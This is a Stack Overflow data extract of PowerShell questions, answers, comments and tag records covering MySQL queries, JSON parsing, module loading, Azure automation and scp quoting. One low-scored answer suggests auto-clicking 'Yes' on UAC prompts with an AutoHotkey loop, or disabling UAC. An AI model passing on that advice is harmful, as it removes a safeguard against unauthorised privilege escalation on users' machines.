has body: You can use the command whoami /logonid to obtain the logon ID. The whoami utility writes to standard output, so you can capture this in PowerShell simply by writing (e.g.): $sessionID = whoami /logonid
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139668390
answers question: http://stackoverflow.com/q/79183024
downvote count: 0

http://stackoverflow.com/q/79214246
score: 0
tagged with: mysql
has comment: http://stackoverflow.com/comment/139685631
downvote count: 1
type: UnansweredQuestion
has title: ExecuteScalar() does not always return a value from a MySQL query
has comment: http://stackoverflow.com/comment/139685526
has comment: http://stackoverflow.com/comment/139684857
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/139685234
answer count: 0
has comment: http://stackoverflow.com/comment/139685529
tagged with: powershell
has body: I am running a PowerShell script where I query for an employeeid from our employees table within a MySQL database. Every employee in that table has an employeenumber. The queries I am running look like this: SELECT e.employeeID FROM employees e WHERE e.EmployeeNum = 102130 AND e.Deleted = 0; The query works fine for most employees, but for a few, the call to ExecuteScalar() returns null. If I run the above query for the problematic employees directly on the database (I am using HeidiSQL for that), I get the correct result in the form of exactly one ID. I am a bit lost as to why ExecuteScalar() does not always work as expected. For the MySQL connection, I use the following, where the parameters within the connection string are correct. $ConnectionString='server=' + $cs_MySQL_Server + ';port=' + $cs_MySQL_Port + ';uid=' + $cs_MySQL_User + ';pwd=' + $cs_MySQL_Pwd + ';database=' + $cs_MySQL_database + ';default command timeout=' + $cs_MySQL_timeout + '; Connection Timeout=' + $cs_MySQL_timeout $Connection = [MySql.Data.MySqlClient.MySqlConnection]@{ConnectionString=$ConnectionString} $Connection.Open() $sql = New-Object MySql.Data.MySqlClient.MySqlCommand $sql.Connection = $Connection I also looked into a couple of old threads on Stack Overflow regarding the same problem. Their issue seemed to be that their value was missing, i.e., null. However, that is not the case here. Update 1 The call to the with executeScalar to the mysql database is done via $sql.CommandText = "SELECT e.SurName FROM employees e WHERE e.EmployeeID = " + $employeeID + ";" $employee_SurName = $sql.ExecuteScalar() Update 2 I found the problem. There were two entries for the same eomployee but with different employee numbers. Hence I had two results which were processed one after the other changing the employeenumber from 1 to 2 and back again. After changing my query I only get 1 result per employee.

fileinfo
tag name: fileinfo
type: Tag
tags question: http://stackoverflow.com/q/79150204

http://stackoverflow.com/comment/139712282
has text: Why are you asking this? There's no need to automate something that only happens once during installation. Using "Shared Memory" is the fastest and most secure way to connect to a local instance. If you want to allow or block remote access, open and close the firewall rule that controls port 1433
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 1

http://stackoverflow.com/comment/139525167
type: Comment
has text: Thanks for the reply, the behavior is the same unfortunately
comment on: http://stackoverflow.com/a/79126115
score: 1
type: AnswerComment

http://stackoverflow.com/a/79110525
downvote count: 0
type: Answer
has body: ConvertFrom-Json in PowerShell 5 (and, iirc earlier versions of 7.x), defaults to request that the pipeline processor not enumerate array output - meaning that if you pass a JSON document with a list/array as the root object to ConvertFrom-JSON, it'll output the whole array object as one thing: PS ~> '[1,2,3,4,5]' |ConvertFrom-JSON |ForEach-Object {"We received 1 item: '$_'"} We received 1 item: '1 2 3 4 5' You can counter this behavior by either breaking up the pipeline into two immediately downstream from ConvertFrom-JSON (as you've found yourself) - or you can pipe the output to a command that enumerates the array anyways (here using Write-Output): PS ~> '[1,2,3,4,5]' |ConvertFrom-JSON |Write-Output |ForEach-Object {"We received 1 item: '$_'"} We received 1 item: '1' We received 1 item: '2' We received 1 item: '3' We received 1 item: '4' We received 1 item: '5' I should note that the 7.4 version of ConvertFrom-JSON also has the ability to override this behavior via the -NoEnumerate switch parameter, so that you get the same behavior as in 5: PS ~> '[1,2,3,4,5]' |ConvertFrom-JSON -NoEnumerate |ForEach-Object { "We received 1 item: '$_'"} We received 1 item: '1 2 3 4 5'
answers question: http://stackoverflow.com/q/79110476
score: 3
accepted answer of: http://stackoverflow.com/q/79110476
has comment: http://stackoverflow.com/comment/139495087
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/a/79146539
has comment: http://stackoverflow.com/comment/139560588
score: 1
upvote count: 1
has body: While what you're trying to achieve is understandable, in my estimation it is impossible to implement: Of necessity, when a module is imported, all prerequisites must be met first, which requires processing the relevant module-manifest entries, RequiredModules, NestedModules, RequiredAssemblies and (debatably) ScriptsToProcess. While it is hypothetically possible to undo loading of dependent script modules (those that are implemented exclusively via PowerShell code), by removing them in case of importation failure (using Remove-Module),[1] it is fundamentally impossible to reliably undo the effects of the RequiredAssemblies and ScriptsToProcess entries: in the former case, the problem is that .NET doesn't allow unloading of assemblies once loaded, and, in the latter case, the effects of what the script does are unknowable. Since the #Requires statement applies to scripts, is RunFirst.ps1 the most appropriate place for #Requires -RunAsAdministrator in a module? #requires statements equally work in *.psm1 files (script modules), so there's no need for a separate *.ps1 script file referenced in a ScriptsToProcess module-manifest entry. [1] Even then, it is possible - if ill-advised - for such modules to have modified the caller's state, which cannot be anticipated and therefore cannot be reliably undone. For modules that involve loading .NET assemblies, the fundamental constraint of not being able to unload assemblies once loaded applies.
answers question: http://stackoverflow.com/q/79146364
accepted answer of: http://stackoverflow.com/q/79146364
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139726883
has text: Change `$button.Add_Click({ Start-RDP -server $server -credentials $credentials })` to `$button.Add_Click({ Start-RDP -server $server -credentials $credentials }.GetNewClosure())`
score: 0
comment on: http://stackoverflow.com/q/79237490
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79199716
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/139663119
has comment: http://stackoverflow.com/comment/139658463
downvote count: 0
answers question: http://stackoverflow.com/q/79193052
has comment: http://stackoverflow.com/comment/139658446
has comment: http://stackoverflow.com/comment/139662495
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/79193052
has body: Note that, AzureADPreview only works with Windows PowerShell 5.1, not with PowerShell Core Edition (v6.x, v7.x). However, Azure Functions only offer PowerShell Core (v7.2, v7.4), so there's a conflict. Alternatively, you can migrate to Microsoft Graph PowerShell module that works in PowerShell Core for retrieving same results. I created one function app named demofunc1811 with below properties: Enable system-assigned managed identity in above function app and add required permissions to this service principal. You can refer this SO thread for the same: Make sure to add below dependencies in requirements.psd1 file of App files and restart the Azure Function App: # This file enables modules to be automatically managed by the Functions service. # See https://aka.ms/functionsmanageddependency for additional information. # @{ 'Microsoft.Graph.Authentication' = '2.19.0' 'Microsoft.Graph.Reports' = '2.19.0' 'Microsoft.Graph.Users' = '2.19.0' } Now, I created one HTTP Trigger Function and replaced run.ps1 with below sample code and got the response successfully: using namespace System.Net param($Request, $TriggerMetadata) Write-Host "PowerShell HTTP trigger function processed a request." # Interact with query parameters or the body of the request. $name = $Request.Query.Name if (-not $name) { $name = $Request.Body.Name } # Write a simple message for testing $body = "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response." if ($name) { $body = "Hello, $name. This HTTP triggered function executed successfully." } # Connect to Microsoft Graph using Managed Identity Write-Host "Connecting to Microsoft Graph..." Connect-MgGraph -Identity Get-MgContext # Retrieve disabled users from Azure AD Write-Host "Retrieving disabled users..." $disabledUsers = Get-MgUser -Filter "accountEnabled eq false" | Select-Object UserPrincipalName # Iterate through disabled users and check activity logs foreach ($disabled…

http://stackoverflow.com/a/79200956
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79200936
has body: The Actions property contains a list of action instances - not just their arguments - for that you'll want the Arguments property on one of the contained actions: $actions = $_.Actions |ForEach-Object { if ($_.Execute -match 'powershell') { # a powershell task, let's create a new one with the prefix $newTaskActionArgs = @{ Execute = 'powershell'; Arguments = &quot;${PREFIX} $($_.Arguments)&quot; } if ($_.WorkingDirectory) { # make sure to copy the initial working directory if set too $newTaskActionArgs['WorkingDirectory'] = $_.WorkingDirectory } New-ScheduledTaskAction @newTaskActionArgs } else { # leave action as-is $_ } } Set-ScheduledTask ... -Action $actions
upvote count: 2

http://stackoverflow.com/comment/139511073
has text: So there is no way to make the search faster?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79119400

http://stackoverflow.com/comment/139617425
comment on: http://stackoverflow.com/a/79169256
score: 0
type: AnswerComment
type: Comment
has text: @tpcolson corrected, by moving the `Join-Path` inside the scriptblock and passing both components as arguments

http://stackoverflow.com/comment/139610094
has text: Thanks for the clarification, you're right, but the question remains open. I need as a result "It is ... you"
score: 0
comment on: http://stackoverflow.com/a/79173166
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79227270
upvote count: 2
has body: Escape the / char: set myFormat=dd\/MM Doing so ensures that .NET, which PowerShell is built on, uses the / literally in the output string, whereas unescaped use treats / as a placeholder, namely for the culture-appropriate date-component separator; e.g., with the de-DE (German) culture in effect, / turns into . in the output string. The same applies analogously to the time-component separator, : (As an alternative to \-escaping, you may use embedded '...' or "..." quoting, e.g. set myFormat=dd'/'MM, but to avoid quote character-escaping headaches when calling from outside PowerShell it is simpler to use the \ escape). For more information, see the .NET docs: List of special characters in format strings Using the Escape Character (\) Caveat: While the above yields Arabic numerals (e.g. 11) and / for all cultures, as intended, the values of these numbers depend on the current culture's calendar - see the bottom section if you need to ensure that the result is always expressed as the components of a Gregorian date. To provide a succinct demonstration in PowerShell code: & { # Save the culture currently in effect. $prevCulture = [cultureinfo]::CurrentCulture # Loop over all given cultures. $args[0] | ForEach-Object { [cultureinfo]::CurrentCulture = $_ # Contrast escaped and unescaped use. [pscustomobject] @{ Culture = $_ UnescapedSlash = Get-Date -Format dd/MM EscapedSlash = Get-Date -Format dd\/MM # Note the \ } } # Restore the previous culture [cultureinfo]::CurrentCulture = $prevCulture } 'en-US', 'de-DE' The above prints: Culture UnescapedSlash EscapedSlash ------- -------------- ------------ en-US 26/11 26/11 de-DE 26.11 26/11 Note how, for culture de-DE, the unescaped / in the format string turned into the culture-appropriate . separator, whereas the escaped form was retained verbatim. Additionally ensuring use of the Gregorian calendar: As noted, the month and day numbers are expressed in the current culture's calendar, as reflected in [cultureinfo]::CurrentCult…
has comment: http://stackoverflow.com/comment/139719797
answers question: http://stackoverflow.com/q/79227225
has comment: http://stackoverflow.com/comment/139718492
accepted answer of: http://stackoverflow.com/q/79227225
has comment: http://stackoverflow.com/comment/139707843
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139707771
score: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139779945
score: 0
comment on: http://stackoverflow.com/q/79244293
type: QuestionComment
has text: @Jahnavi, yes. Have a call open with Microsoft for this. Just looking to this in PowerShell only. It does seem that even though one should be able to ingest data without a DCE, MS have recommended using one anyway. There is standard code that MS provide, however, this failing. It suggests there's not sufficient permissions, however, the App has permissions that exceed those required. I can't believe how tricky this is to get working.
type: Comment

utf-8
tag name: utf-8
type: Tag
tags question: http://stackoverflow.com/q/79203758
tags question: http://stackoverflow.com/q/79196973
tags question: http://stackoverflow.com/q/79328708
tags question: http://stackoverflow.com/q/79307726
tags question: http://stackoverflow.com/q/79400555
tags question: http://stackoverflow.com/q/79450850
tags question: http://stackoverflow.com/q/79430388

http://stackoverflow.com/comment/139504390
score: 1
type: QuestionComment
has text: The code works syntactically in isolation, so if commenting it out makes a difference, the implication is that it was incorrectly embedded in a larger script, causing syntax errors. Try providing a [mcve]. In the process of crafting one, you may find that you'll discover the problem yourself.
type: Comment
comment on: http://stackoverflow.com/q/79115375

http://stackoverflow.com/q/79093235
type: Question
downvote count: 0
tagged with: powershell
answer count: 1
tagged with: shell
type: UnansweredQuestion
score: 1
tagged with: pyenv-win
has body: I often want to start a jupyter notebook in a specific conda environment. In order to speed up that process, I add the two commands into one powershell script, like so: # conda_notebook.ps1 conda activate my_env jupyter notebook --ServerApp.root_dir C:\Users\me\my-notebooks This works perfectly fine when executing in a anaconda powershell. I also have pyenv-venv virtual environments in my Windows installation for cases, where I have trouble with conda, e.g., python versions not supported in conda (yet?). The approach # pyenv_notebook.ps1 pyenv-venv activate my_env2 jupyter notebook --ServerApp.root_dir C:\Users\me\my-other-notebooks does not work, as pyenv-venv activate my_env2 spawns a new shell. Hence, the second argument is not executed immediately, but only once I exit the newly spawned shell. Then, it fails as there is no jupyter notebook command around in the previous shell. The pyenv suit has a pyenv shell command that changes the current shell instead of spawning a new one. It does not exist for pyenv-venv, unfortunately. However, there must be a way of piping the second command into the first, so that the second command is actually executed in the newly spawned shell. How do I do that? EDIT1: "jupyter notebook --ServerApp.root_dir D:\drescherlab\misc-win" | pyenv-venv activate dev3.12.3 and ECHO "jupyter notebook --ServerApp.root_dir D:\drescherlab\misc-win" | pyenv-venv activate dev3.12.3 do not work. I guess we can expect that, as the pyenv-venv activate ... does not expect a piped in value. The command jupyter notebook ... has to be executed only after the command pyenv-venv activate ... has spawned the new shell.
has title: Programmatically execute command in newly spawned shell
has answer: http://stackoverflow.com/a/79093375
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/79121943
upvote count: 0
answers question: http://stackoverflow.com/q/79118908
score: -1
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/139516496
has comment: http://stackoverflow.com/comment/139526040
has body: The 2 ways that I know of are by parameter and by filter Get-ChildItem has a parameter named "-Directory" that should only list directories. "dir /ad" in the DOS days. The second and slightly slower option is to pipe Get-ChildItem to Where-Object with the filter for "PSIsContainer" Get-ChildItem | Where-Object {$_.PSIsContainer}

http://stackoverflow.com/q/79170631
has answer: http://stackoverflow.com/a/79172252
linked to: http://stackoverflow.com/q/40257475
accepted answer: http://stackoverflow.com/a/79172252
score: 0
tagged with: sorting
type: Question
has comment: http://stackoverflow.com/comment/139605545
has comment: http://stackoverflow.com/comment/139605555
tagged with: arrays
has comment: http://stackoverflow.com/comment/139605526
answer count: 1
tagged with: pscustomobject
type: AnsweredQuestion
has title: Sort an array of PSCustomObject by values of a property
has comment: http://stackoverflow.com/comment/139605797
tagged with: powershell
has body: I need help for my sorting issue with Powershell. What I want is simple, but I'm unable to find a solution. I do have in Powershell an array @() of PSCustomObjects like code below. First I fill the array in a loop with objects and try later to order the array. The following simple sample should demonstrate the challange.In the real world, I receive the array from another web service. $products = @() for ($i -eq 1; $i -lt 50; $i++){ $code = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}) $value = [PSCustomObject]@{ } $value | Add-Member -MemberType NoteProperty -Name ProductId -Value $i $value | Add-Member -MemberType NoteProperty -Name ProductCode -Value $code $products += $value } # other try # for ($i -eq 1; $i -lt 50; $i++){ # $code = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}) # $value = [PSCustomObject]@{ ProductId=$i; ProductCode="$code"} # $products += $value # } Write-Host $products | Sort-Object -Property ProductCode I expect a result like this, sorted by ProductCode: @{ProductId=4; ProductCode=ashku} @{ProductId=1; ProductCode=Ahjju} @{ProductId=3; ProductCode=bBhhg} @{ProductId=2; ProductCode=qtras} @{ProductId=5; ProductCode=yYfgh} Has anyone the solution for me? Thanks in advance. Tino

http://stackoverflow.com/comment/139462070
has text: Thanks @SantiagoSquarzon. I marked the answer as accepted.
type: Comment
comment on: http://stackoverflow.com/a/79089905
type: AnswerComment
score: 1

http://stackoverflow.com/a/79174522
score: 0
answers question: http://stackoverflow.com/q/79174496
has comment: http://stackoverflow.com/comment/139612556
has body: The UAC will come always, try to run this in admin, right click run as admin or change the app executable or the apps entire folder and give it all elevated administrator permissions. Then UAC prompt will be skipped, or if you as I can see are already using Auto Hotkey, there are many scripts available for this, where it automatically clicks Yes (Button 1) when it detected the UAC admin prompt, you can activate it keeps running on loop and that's good for you, or if you can, disable UAC, [DON'T, this is last resort.]
has comment: http://stackoverflow.com/comment/139612546
type: Answer
has comment: http://stackoverflow.com/comment/139613295

http://stackoverflow.com/comment/139564577
score: 0
type: QuestionComment
type: Comment
has text: Is the indenting in this code snippet exactly the same as you have it in your .gitlab-ci.yaml file?
comment on: http://stackoverflow.com/q/79148904

http://stackoverflow.com/comment/139567774
has text: I'll test the Test-NetConnection tomorrow, but I already tried Test-Path and it didn't work much like this https://stackoverflow.com/q/60197342/27183856
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79150671

http://stackoverflow.com/q/79239933
has answer: http://stackoverflow.com/a/79240036
downvote count: 0
tagged with: powershell
tagged with: runspace
possible better answer: http://stackoverflow.com/a/79240036
accepted answer: http://stackoverflow.com/a/79240869
type: AnsweredQuestion
has title: How can I detect that a scriptblock is bound to the SessionState of another Runspace?
has answer: http://stackoverflow.com/a/79240869
linked to: http://stackoverflow.com/q/74257757
score: 1
upvote count: 1
tagged with: scriptblock
has body: Consider the following code foreach ($i in 1..100) { $sb = {'bound_to_parent_runspace'} . $sb | Out-Null 1..2 | ForEach-Object { Start-ThreadJob ` -ArgumentList ([pscustomobject]@{ScriptBlock = $sb}) ` -ScriptBlock { param($arg1) 'child_runspace' . $arg1.ScriptBlock } | Receive-Job ` -Wait ` -ErrorAction Stop } } which occasionally (at least on my computer) causes the fatal error An error has occurred that was not properly handled. Additional information is shown below. The PowerShell process will exit. Unhandled exception. System.InvalidOperationException: Stack empty. at System.Collections.Generic.Stack`1.ThrowForEmptyStack() at System.Collections.Generic.Stack`1.Pop() at System.Management.Automation.DlrScriptCommandProcessor.OnRestorePreviousScope() at System.Management.Automation.CommandProcessorBase.RestorePreviousScope() at System.Management.Automation.CommandProcessorBase.DoComplete() at System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop) at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input) at System.Management.Automation.Runspaces.LocalPipeline.InvokeHelper() at System.Management.Automation.Runspaces.LocalPipeline.InvokeThreadProc() at System.Management.Automation.Runspaces.PipelineThread.WorkerProc() at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) --- End of stack trace from previous location --- at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) This is, I think, an example of the following issues: Concurrently invoking a ScriptBlock in two runspaces causes InvalidOperationException and pwsh.exe termination #7626 Engine event processing bypasses "ShouldQueueAndProcessInExecutionThread" causing state corruption and crash due to Runspace affinity #4003 Those issues are now six and seve…
linked to: http://stackoverflow.com/q/77900019
answer count: 2
tagged with: concurrency
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/52975186

http://stackoverflow.com/comment/139546923
type: Comment
score: 0
has text: What is the output from PowerShell of `[System.Text.Encoding]::Default`? Please copy and paste the text output into the question using [edit]. No pictures.
comment on: http://stackoverflow.com/q/79138620
type: QuestionComment

http://stackoverflow.com/q/79208335
has title: How to pause and resume Azure Synapse Link via automation?
type: Question
answer count: 1
tagged with: powershell
tagged with: azure-synapse
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79208391
has body: Is there a way to pause and resume Azure Synapse Link via automation using Windows PowerShell or other technology? I am trying to reduce the cost of running Synapse 24/7. Presently I have Aruze Synapse Link importing new and changed records from multiple Azure databases into a dedicated SQL database. I have figured out how to pause and resume the dedicated SQL database using Windows PowerShell. The Aruze Synapse Link continues to run even when the dedicated SQL database is paused. I need to figure out away to pause and resume Azure Synapse Link via automation using Windows PowerShell or some other technology or method. I can only pause and resume the Synapses Link manually.

http://stackoverflow.com/comment/139617322
score: 1
type: QuestionComment
has text: `[System.Windows.Forms.SystemInformation]::PrimaryMonitorSize` works for me on Win10
type: Comment
comment on: http://stackoverflow.com/q/79176779

http://stackoverflow.com/a/79201792
type: Answer
has comment: http://stackoverflow.com/comment/139674425
score: 0
answers question: http://stackoverflow.com/q/79201757
has body: This will return those 4x strings: $xmlFilePath = 'C:\test.xml' $xmlFile = [xml]::new() $xmlFile.Load($xmlFilePath) # **fdaat4** $xmlFile.'application-set'.application.'application-information'.'application-number'.'application-type' # **123456** $xmlFile.'application-set'.application.'application-information'.'application-number'.'#text' # **fdast9** $xmlFile.'application-set'.application.'submission-information'.'submission-id'.'submission-type' # 0048 $xmlFile.'application-set'.application.'submission-information'.'submission-id'.'#text' Lee Holmes made a useful GUI tool called Show-Object that's like a recursive Get-Member; it can help you quickly drill down into objects. Running $xmlFile | Show-Object will help you find methods and properties for working with XML files. Show-Object See also: Spelunking With Show-Object

http://stackoverflow.com/q/79198075
has comment: http://stackoverflow.com/comment/139655020
type: Question
has title: Error when trying to SCP from Linux remote to Windows 11
has comment: http://stackoverflow.com/comment/139655011
tagged with: windows
answer count: 1
linked to: http://stackoverflow.com/q/20410252
linked to: http://stackoverflow.com/q/16222477
tagged with: powershell
has answer: http://stackoverflow.com/a/79198109
type: UnansweredQuestion
has body: I am currently trying to use scp to transfer files from a Linux-based remote server to my local machine from within a Windows Powershell terminal. My machine is installed with Windows 11, though I have previously been working on a machine running Windows 10. Suppose that I would like to download a set of files with different extensions, e.g. .ext1 and _ext2. When I run the following command in my working directory scp user@remote:/nobackup/user/example_path/'{*.ext1,*_ext2}' . I get the error C:\WINDOWS\System32\OpenSSH\scp.exe: /nobackup/user/example_path/{*.ext1,*_ext2}: No such file or directory This has me a little confused, given that the above command was working on my old Windows 10 machine. Note that there is no apparent error in the authentication for the remote, and I have tested that the wildcard * formatting is being handled correctly by the remote. From what I can tell, the error results from Windows not being able to handle the brace expansion correctly. I have tried various other methods of trying to escape the braces, e.g., using &quot;, \ or `, but none of these have worked. Any help on this would be greatly appreciated. I have trawled through numerous stack overflow posts trying to find the correct solution, and nothing I have thus-far found has worked. Note that I want to avoid running multiple scp commands as the remote server requires a lengthy authentication for each call.
tagged with: scp
score: 0

ssms
tags question: http://stackoverflow.com/q/79111442
tag name: ssms
type: Tag

http://stackoverflow.com/comment/139544828
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79137830
score: 1
has text: Scratch that, I [submitted an issue here](https://github.com/PowerShell/PSResourceGet/issues/1740)

wix
tag name: wix
type: Tag
tags question: http://stackoverflow.com/q/79099875
tags question: http://stackoverflow.com/q/79375630
tags question: http://stackoverflow.com/q/79416426

http://stackoverflow.com/comment/139533054
has text: Have you tried piping the result to `Get-Member -MemberType Properties` ?
type: QuestionComment
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79131446

http://stackoverflow.com/a/79218916
type: Answer
has body: Here's a jq-only solution, which does however assume the CSV is easy to parse: < input.json jq --rawfile csv input.csv ' def toDict: reduce .[] as [$v, $k] ({}; .[$k] = $v); ($csv | split("\n") | map(select(length>0) | split(",")) | toDict) as $dict | walk(if type == "object" and .watchers then .watchers |= map( $dict[.] // .) end) '
score: 0
answers question: http://stackoverflow.com/q/79216817

http://stackoverflow.com/a/79167139
answers question: http://stackoverflow.com/q/79167030
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79167030
downvote count: 0
has comment: http://stackoverflow.com/comment/139617465
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139602658
has comment: http://stackoverflow.com/comment/139604139
has body: Import-Module doesn't make public the PowerShell classes defined in the psm1, you'll need to use using module in your $scriptblock in the same way as you're doing in your calling script. Side Note If you're creating a project that has only classes and no functions defined, then using a psm1 is already the incorrect approach, it would be much easier to have a ps1 that you can dot source. You could essentially just do: $ScriptBlock = { . 'C:\Test\MyEmployee.ps1' # <= dot sourcing a ps1 makes all defined classes available in this scope $MyEmps = [MyEmployees]::New( ) $MyEmp = [MyEmployee]::New( 1, 'John', 'Doe', '' ) $MyEmps.Employees.Add( $MyEmp ) ForEach ( $MyEmp in $MyEmps.Employees ) { Write-Host "Employee $( $MyEmp.UniqueID ) : $( $MyEmp.Lastname ), $( $MyEmp.Firstname ) " } } The next issue if you try to add the using module statement in your $scriptblock will be a parsing error because "A 'using' statement must appear before any other statements in a script." so to workaround that you will need to define your code as a string and then create a scriptblock from it using ScriptBlock.Create. In summary: $ScriptBlock = [scriptblock]::Create(@' using module "C:\Test\MyEmployee.psm1" $MyEmps = [MyEmployees]::New( ) $MyEmp = [MyEmployee]::New( 1, 'John', 'Doe', '' ) $MyEmps.Employees.Add( $MyEmp ) ForEach ( $MyEmp in $MyEmps.Employees ) { Write-Host "Employee $( $MyEmp.UniqueID ) : $( $MyEmp.Lastname ), $( $MyEmp.Firstname ) " } '@) Then the Invoke-Command statement should work properly assuming C:\Test\MyEmployee.psm1 exists in $ServerName.

http://stackoverflow.com/comment/139687442
score: 0
has text: Alternatively, you could define a `Prompt` function. This would allow `npm` or other commands to change the title, but should set it back once done (untested) - [about_Prompts](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_prompts?view=powershell-7.4)
comment on: http://stackoverflow.com/q/79208164
type: QuestionComment
type: Comment

pipeline
type: Tag
tag name: pipeline
tags question: http://stackoverflow.com/q/79172648
tags question: http://stackoverflow.com/q/79163395
tags question: http://stackoverflow.com/q/79256553
tags question: http://stackoverflow.com/q/79275748
tags question: http://stackoverflow.com/q/79326343
tags question: http://stackoverflow.com/q/79262451

http://stackoverflow.com/comment/139471954
has text: Check the access keys are malformed or improperly passed, as they are expected to be valid Base64 strings.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79097057
type: AnswerComment

http://stackoverflow.com/comment/139622849
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79176779
has text: That are all Real monitors.
type: QuestionComment

http://stackoverflow.com/q/79213119
score: 0
has title: How do I provide service principal's authorization for an API call in a DevOps pipeline
possible better answer: http://stackoverflow.com/a/79213603
tagged with: azure-service-principal
has answer: http://stackoverflow.com/a/79216628
type: Question
has answer: http://stackoverflow.com/a/79213603
tagged with: azure-pipelines-release-pipeline
accepted answer: http://stackoverflow.com/a/79213678
answer count: 3
tagged with: azure-devops
has comment: http://stackoverflow.com/comment/139682265
has body: I have an Azure CLI task in a release pipeline that I would like to make an API call from back to the same project. The task is executing under a Service Principal, and it makes available the servicePrincipalId, servicePrincipalKey and tenantId to the script. How can I use the Service Principal's credentials to authenticate a Invoke-RestMethod API request?
linked to: http://stackoverflow.com/q/68351334
has answer: http://stackoverflow.com/a/79213678
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139685272

http://stackoverflow.com/comment/139778419
score: 0
comment on: http://stackoverflow.com/q/79244293
type: QuestionComment
has text: Are you looking for only PowerShell approach. @GJ-Hardie
type: Comment

http://stackoverflow.com/q/79227817
type: Question
linked to: http://stackoverflow.com/q/55174226
downvote count: 0
has answer: http://stackoverflow.com/a/79228637
tagged with: powershell
possible better answer: http://stackoverflow.com/a/79228170
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79228637
linked to: http://stackoverflow.com/q/77683718
has answer: http://stackoverflow.com/a/79228170
has comment: http://stackoverflow.com/comment/139738901
score: 1
answer count: 2
linked to: http://stackoverflow.com/q/51794142
upvote count: 1
favorite count: 0
has title: How to display Azure Virtual Desktop host properties instead of serial object?
has comment: http://stackoverflow.com/comment/139710314
has body: I'm trying to figure out how to view the properties of Azure AVD session hosts via script. Instead, all I'm getting is a serialized object. How do I get it to output the properties? I've tried Format-List, but that has no effect. $resourceGroup = "Group1" $hostPoolObjects = Get-AzWvdHostPool -ResourceGroupName $resourceGroup foreach ($hostPool in $hostPoolObjects) { $sessionHosts = Get-AzWvdSessionHost -HostPoolName $hostPool.Name -ResourceGroupName $resourceGroup foreach ($sessionHost in $sessionHosts) { Write-Host $sessionHost } } } Output: Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost Microsoft.Azure.PowerShell.Cmdlets.DesktopVirtualization.Models.Api202209.SessionHost ... What am I missing in the code?
linked to: http://stackoverflow.com/q/60532805
tagged with: azure-avd

http://stackoverflow.com/comment/139708141
has text: I'm guessing it's not possible. Why do you need default database for users, it's usually up to each client anyway
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79224704

http://stackoverflow.com/comment/139619949
type: Comment
score: 1
has text: If you want PowerShell server-side but restricting user input, then you might want to have a look at [PowerShell JEA](https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/overview?view=powershell-7.4) - same problem though, you'd be exposing _commands_ to the users rather than .NET objects directly
comment on: http://stackoverflow.com/q/79177876
type: QuestionComment

http://stackoverflow.com/comment/139680098
has text: You are aware there is no absolute way to determine what you're asking for right? It might work in most cases but it can also be wrong in some.
type: Comment
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/79211988

replace
tags question: http://stackoverflow.com/q/79091039
type: Tag
tag name: replace
tags question: http://stackoverflow.com/q/79126566
tags question: http://stackoverflow.com/q/79112116
tags question: http://stackoverflow.com/q/79097282

http://stackoverflow.com/comment/139726527
has text: Is `__ComObject` documented anywhere? It seems a bit too abstract to make using it be actually helpful
type: QuestionComment
comment on: http://stackoverflow.com/q/79237732
type: Comment
score: 0

http://stackoverflow.com/q/79216721
upvote count: 1
has answer: http://stackoverflow.com/a/79218880
accepted answer: http://stackoverflow.com/a/79218880
answer count: 2
score: -1
downvote count: 2
tagged with: cmd
favorite count: 0
tagged with: batch-file
tagged with: regex
tagged with: for-loop
type: Question
has answer: http://stackoverflow.com/a/79216952
has comment: http://stackoverflow.com/comment/139688867
possible better answer: http://stackoverflow.com/a/79216952
has title: For loop PowerShell command within a batch file removes apostrophe
